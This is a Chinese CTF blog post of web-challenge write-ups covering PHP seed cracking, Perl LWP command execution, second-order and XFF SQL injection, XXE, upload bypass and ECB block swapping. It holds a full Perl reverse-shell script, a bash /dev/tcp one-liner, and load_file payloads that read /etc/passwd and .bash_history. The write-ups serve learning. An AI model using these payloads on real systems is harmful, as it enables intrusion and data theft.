BUU Web 刷题笔记5

[GWCTF 2019]枯燥的抽奖

  • md_srand() 函数的伪随机性, 导致了 seed 种子可爆破

打开题目, 查看源码, 发现了 check.php 访问后,得到题目的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
z9GWK8zv2o
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

要猜中全部的20位才能得到 flag, 题目已经给了前面10位, 并且刷新之后还是固定的, 只要符合 $_POST[‘num’]===$str 那么就成功了

https://xz.aliyun.com/t/3656#toc-3

下面这个爆破脚本应该是通用的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
str1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# 输入输出的值 str2
str2 = "z9GWK8zv2o"
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break

# 获取 与 php_mt_seed-4.0 格式的数据, 然后拿进去爆破
print(res)

爆破得到 seed : 757588651

带回原来的程序, 替换掉

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
mt_srand(757588651);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
// z9GWK8zv2odZi5oV00dm

输入, 得到flag

参考: https://www.cnblogs.com/wangtanzhi/p/12288687.html 这个王叹之 和另一个 师傅. 他们估计已经把buu 的web 刷完了??? 每次搜都能看到他们的博客, 真好~

[HITCON 2017]SSRFme

orange 大师傅出的题!

  • CVE-2016-1238

https://github.com/libwww-perl/URI/blob/b7680860f323a0cf3ffe5f6bdb684646e1ecac33/lib/URI.pm#L136

  • perl 语法上设计逻辑导致的漏洞

https://github.com/orangetw/My-CTF-Web-Challenges/tree/master#ssrfme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

注意这里 $data = shell_exec("GET " . escapeshellarg($_GET["url"])); GET 后面有一个空格, 不知道有没有秒用.

escapeshellarg 这个函数之前也遇到过两三次了, 作用就是把传入的参数转换为linux下的可以执行命令并且安全的, 即通过添加'

知识点: 从上面的源码分析到, shell_exec 会执行我们通过url输入的内容将返回值给data,然后又通过file_put_contents函数来把执行的结果进行文件写入的操作

这里要预备的知识点是:

GET 是Lib for WWW in Perl 中的命令, 当URL中的schema 是perl 中不存在的话,会执行eval导致命令执行

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://330b6552-dc87-43a5-b016-4b387412eb67.node3.buuoj.cn/'
exp = '/'
payload = "?url={}&filename=data"
see = 'sandbox/5081e4434bea73288a7c7fc9d3427bbe/data'
s = requests.Session()
r = s.get(url + payload.format(exp))
print(r.content)
r = s.get(url + see)
print(r.content)

方法一: 利用Perl 反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# 原作者: https://momomoxiaoxi.com/2017/11/08/HITCON/
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '129.211.79.54'; # 改为服务器的ip
my $port = 1234;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

在服务器上保存为 shell.txt , 访问 /?filename=URI/hacked.pm&url=http://174.1.146.97/shell.txt 这样就在网站上新建了一个URI目录,里面有hacked.pm 文件,文件为我们写入的shell.txt 用于反弹shell

然后再去访问执行以下:

?filename=xxx&url=hack://174.1.146.97就能获得一个反弹shell。这里访问hack://174.1.146.97时,hack是未定义模块,所以会自动搜索并加载URI中的hacked.pm 模块

而此时, 这个hacked.pm 就是我们写的shell.txt了, 就被题目靶机执行从而反弹shell

这里我走了这个流程, 但是用buuCTF 的内网靶机并没有反弹shell ,试一试自己的服务器

1
2
3
Can't connect to 129.211.79.54:80

Network is unreachable at /usr/share/perl5/LWP/Protocol/http.pm line 49.

感觉还是要用内网靶机….

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /shell.txt was not found on this server.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 174.1.146.97 Port 80</address>
</body></html>

然后在/var/www/html 目录下写一个shell.txt , 解决了 404 的问题, 但是还是没有反弹shell …

方法二2: 利用Perl 的 feture

将方法一上的exp 改为这里相对应了即可, 下面来讲讲原理:

新建一个 test.pl

1
2
open(FD, "whoami|");
print <FD>;

然后运行 perl test.pl => ubuntu , 可以看到这里执行了我们的linux系统命令,在open下,perl可以执行命令

如果perl的第二个参数(path) 可控,就能够任意代码执行了

perl 中 GET 对协议处理部分调用了 /usr/share/perl5/LWP/Protocol 下的各个pm模块, file.pm 中, path参数是完全可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
# URL OK, look at file
my $path = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
...

只不过这里先判断了file是否存在, 如果存在才会代码执行

方法三: Bash反弹shell, 在题目靶机能访问外网的情况

原理就是利用方法二

在vps上写一个shell.txt , 里面的内容如下

1
bash -i >& /dev/tcp/your_vps/port 0<&1 2>&1
1
2
3
/?url=http://yourvps/&filename=a
/?url=&filename=bash a|
/?url=file:bash a|&filename=xxx

只能说这种大型的国际比赛, 考的是平时积累和临时对问题的研究和处理能力

参考资料:

https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/ssrfme.md

https://muouim.github.io/2019/08/02/SSRF/

[网鼎杯 2018]Comment

  • 弱口令爆破
  • 目录扫描/Git 源码泄露, 恢复
  • 二次注入

目录扫描发现 /.git/

Git 恢复用Githakcer : https://github.com/wangyihang/githacker

cd 到下载下来的文件的目录, 然后执行git log --reflog , 找到有refs/stash 的commit

然后再退出, 再执行git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 得到恢复后的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[email protected]-0-15-ubuntu:~/GitHacker/b99c6c2b-0b53-4e62-8084-6e3225204bfd_node3_buuoj_cn_$ cat write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){ // do 这个参数就是后面的case
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']); // 转义特殊符号, 添加\
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board //写入borad
set category = '$category', // 先设置category
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']); // 这个id 就是帖子的id
$sql = "select category from board where id='$bo_id'"; // 再从board 中获取category的数据
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category']; // 针对category 再进行一次查询
$content = addslashes($_POST['content']); // 在评论的时候又对content进行了转义
$sql = "insert into comment // 写入comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

login.php 直接根据题目的用户名去生成弱口令, 爆破得到zhangwei666 登陆成功

这个网站的功能是一个是发帖的功能, 另一个是评论的功能: 刚拿到题其实以为是XSS题, 知道扫目录才发现不对

在case 为 write 的时候, 就是发帖, 可以看到这里对我们的输入都采用了addslashes() 函数来处理了,然后再插入到数据库, 在第二次评论的时候又进行了一次处理, 从上面的代码中可以看到, 在第二次写入的时候,只对content 进行了一次addslashes() 函数处理, 而没有对category 进行处理, 故在第二次使用category的时候, 之前的1\' 拿来用了

造成漏洞的代码:

1
2
3
4
5
6
7
8
9
10
$category = addslashes($_POST['category']); '1\'order by 4#''
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$category = mysql_fetch_array($result)['category'];
$sql = "insert into comment // 写入comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);

这里要注意一点的就是, 这里的多条SQL语句, # 单行注释是肯定行不通的, /* */ 使用多行注释来注释掉content查询字段

123',content=user(),/* => "insert into comment set category='123',content=user(),/*content='$content',bo_id='$bo_id'";

评论的地方:

*/# => "insert into comment set category='123',content=user(),/*content='*/#',bo_id='$bo_id';"

=> "insert into comment set category='123',content=user(),bo_id='$bo_id'";

原本的content字段就被强行给干掉了,sql语句执行我们的恶意sql查询语句

查数据库为ctf , 1',content=(select (table_name)from information_schema.tables where table_schema='ctf'),/*

想查查表名, 发现读不出来

  • 查看www 用户的目录

1',content=(select(load_file('/etc/passwd'))),/*

/home 目录

  • 读取.bash_history 文件

1',content=(select(load_file('/home/www/.bash_history'))),/*

1
2
3
4
5
6
7
cd /tmp/ 
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

可以看到这里先进行了一次cp 然后在 rm , 故原来的文件中存在.Ds_Store ????

  • 读取/tmp/html/.Ds_Store (因为环境为docker, 故为tmp目录)

1',content=(select(load_file('/tmp/html/.DS_Store'))),/*

只能读到一些不可显字符, 因为这个会使我的search.xml报错, 故不贴出来了

可以看到有不可显字符

转为hex 读取, 得到 一大串, 解码得到flag_8946e1ff1ee3e40f.php

  • 读flag

1',content=(select(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

读不到, 继续hex编码 解码 读到flag

[RoarCTF 2019]Online Proxy

  • XFF 头注入

官方wp: https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code/blob/master/Web/online_proxy/writeup/WriteUp.docx

一开始方向就偏了, 以为是SSRF, 其实fuzz 了之后, 只有http/https 协议可以用了, 那么就应该放弃ssrf了

照着题目的引导,输入, 查看源码能够看到注释中有ip 地址,

1
2
欢迎使用 Online Proxy。使用方法为 /?url=,例如 /?url=https://baidu.com/。
为了保障您的使用体验,我们可能收集您的使用信息,这些信息只会被用于提升我们的服务,请您放心。

那么可能是将这个ip 记录到了数据库,那么就可能存在注入的问题了, 那么如何注入呢? 我们知道XFF是可以伪造ip的…

尝试修改XFF:

1
2
3
4
<!-- Debug Info: 
Duration: 0.041894912719727 s
Current Ip: 1qwe23
Last Ip: 174.0.222.75 -->

可以看到,题目靶机的IP就变成了 Last Ip 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 赵师傅太强了...
import requests

url = 'http://node3.buuoj.cn:27909/'


def execute_sql(sql):
print("[*]请求语句: " + sql)
return_result = ""

payload = "0'|length((" + sql + "))|'0"
s = requests.session()
r = s.get(url, headers={'X-Forwarded-For': payload})
r = s.get(url, headers={'X-Forwarded-For': 'tql'})
r = s.get(url, headers={'X-Forwarded-For': 'tql'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
length = int(r.text[start_pos + 9: end_pos])
print("[+]长度: " + str(length))

for i in range(1, length + 1, 5):
payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

r = s.get(url, headers={'X-Forwarded-For': payload})
r = s.get(url, headers={'X-Forwarded-For': 'tql'})
r = s.get(url, headers={'X-Forwarded-For': 'tql'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
result = int(r.text[start_pos + 9: end_pos])
return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

return return_result


# 获取数据库 = > information_schema,test,performance_schema,ctftraining,mysql,F4l9_D4t4B45e,ctf
# print("[+]获取成功: " + execute_sql("select group_concat(schema_name) from information_schema.schemata"))
# 获取数据库表 => F4l9_t4b1e
# print("[+]获取成功: " + execute_sql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# 获取数据库表 => F4l9_C01uMn
# print("[+]获取成功: " + execute_sql("select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e'"))
# 获取flag
print("[+]获取成功: " + execute_sql("select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e"))

这位兄弟的原理解释的不错: https://blog.csdn.net/weixin_44077544/article/details/102636793?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

先输入 1’ or ‘1 此时我们的current IP就等于它,让后我们再随便换一个其他的东西,只要和刚才那个不一样就可以,比如111,那么我们的current IP就成了:111,而last IP就是1’ or ‘1,此时1’ or ‘1已经写入了数据库 .因为第一次和第二次传输的IP不一样,所以服务器并不会从数据库找last IP,它会把上次的IP(1’or ‘1)直接显示为last IP,让后存入数据库。那么我们再传一次111,因为和currnet IP相同,那么last IP就会从数据库里寻找,也就是会执行1’or‘1,结果为一。

[NCTF2019]Fake XML cookbook

  • XXE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /doLogin.php HTTP/1.1
Host: 42eddbfc-ac91-42fe-a6fe-8fb2471f7e66.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Origin: http://42eddbfc-ac91-42fe-a6fe-8fb2471f7e66.node3.buuoj.cn
Connection: close
Referer: http://42eddbfc-ac91-42fe-a6fe-8fb2471f7e66.node3.buuoj.cn/

<?xml version="1.0"?>
<!DOCTYPE ctf [
<!ENTITY b SYSTEM "file:///flag">]>
<user><username>&b;</username><password>0</password></user>

[RoarCTF 2019]Simple Upload

  • Thinkphp 的多文件上传(当upload()函数不传参数时,默认为多文件上传,整个$_FILES数组的文件都会被上传)
  • uniqid 设置文件路径不合理, 存在可爆破的可能性
  • $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg'); allowExts 方法用于检测文件名就没用了, 因为这种情况默认只检查一次, 而多文件上传时就绕过了文件检测

思路 :

  1. 获取文件上传的默认路径
  2. 伪造文件上传的HTTP Request 请求包
  3. 上传多个文件
  4. 对文件名进行爆破(因为连续上传的文件,uniqid处理是微秒级别的,所以差别不会太大)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
1
2
3
4
5
6
7
<?php 
echo uniqid();
echo PHP_EOL;
echo uniqid();
?>
// 5e869d0cb5678
// 5e869d0cb5701

可以看到, 只有后面三位数字的不同, 所以爆破文件名的时候对后面三位进行爆破即可, 本题需要爆破6位

[BSidesCF 2019]Kookie

  • cookie 伪造

用给了的账号登陆进去, 查看cookie 改为admin, 拿flag

[BSidesCF 2020]Had a bad day

  • 文件包含,php://filter 是可以嵌套目录在resource之前的

payload:

1
?category=php://filter/read=convert.base64-encode/woofers/resource=flag

[BSidesCF 2019]Mixer

  • AES-ECB 整块替换

https://ctf-wiki.github.io/ctf-wiki/crypto/blockcipher/mode/ecb-zh/

https://cjm00n.top/CTF/Buu%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%953.html\

https://guokeya.github.io/post/9q5WhONzV/

题目要求说, 让is_admin 为1就行了

ECB 加密是16位一组,每组相互独立, 加密后为32位, 在JSON 中1.0 = 1

如果刚好构造16位, 也就是1.0000000000000 使得这个块独立加密.然后 再放到is_admin中, 就成功了

json: {"first_name":"","last_name":"","is_admin":}

而前面的 {"first_name":" 刚好15位, 加上一位变成16位

1
{"first_name":"A1.00000000000000","last_name":"","is_admin":}
1
2
3
4
5
6
7
8
9
10
{"first_name":"A
第一个块
1.00000000000000
第二个块
","last_name":"1
第三个块
231","is_admin":
第四个块
0}
第五个块
1
2
3
4
b=a[0:128]+a[32:64]+a[128:]
a[0:128]代表数据的前第四个块。
a[32:64]是1.000000的密文
a[128:]是0}的密文。附在最后

[BSidesCF 2020]Cards

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

start = 'http://99adecb6-ba44-47f9-9c13-36121d77ff9c.node3.buuoj.cn/api'

deal = start + "/deal"
proxy = {"https": "http://127.0.0.1:7890/"}
state = requests.post(start, proxies=proxy).json()["SecretState"]

while True:
try:
r = requests.post(deal, json={"Bet": 500, "SecretState": state}, proxies=proxy).json()
except:
continue
if r['GameState'] == 'Blackjack':
state = r['SecretState']
print(r['Balance'])
if r['Balance'] > 10000:
print(r)
break

我没跑出来…

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

  • php://filter 伪协议读取源代码
  • address 处理不严谨, 导致了sql注入
  • sql注入我还是太菜了 … 以后交给队友吧 哈哈哈

漏洞点:

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

利用方式:

直接注册的时候在地址上写入payload, 然后修改地址, 修改的时候随便输入即可调用payload进行报错注入

查数据库:

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#

为 ctfuser,… 这个在config.php中就有

查表:

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#

为 users

查字段

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#

Host,User,Password,S 继续查后20位得到 Select_priv,Insert_priv,Update_

没有flag

采用 load_file 来读取flag.txt ,

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,40)),0x7e),1)#
Author: m0nk3y
Link: https://hack-for.fun/3962.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.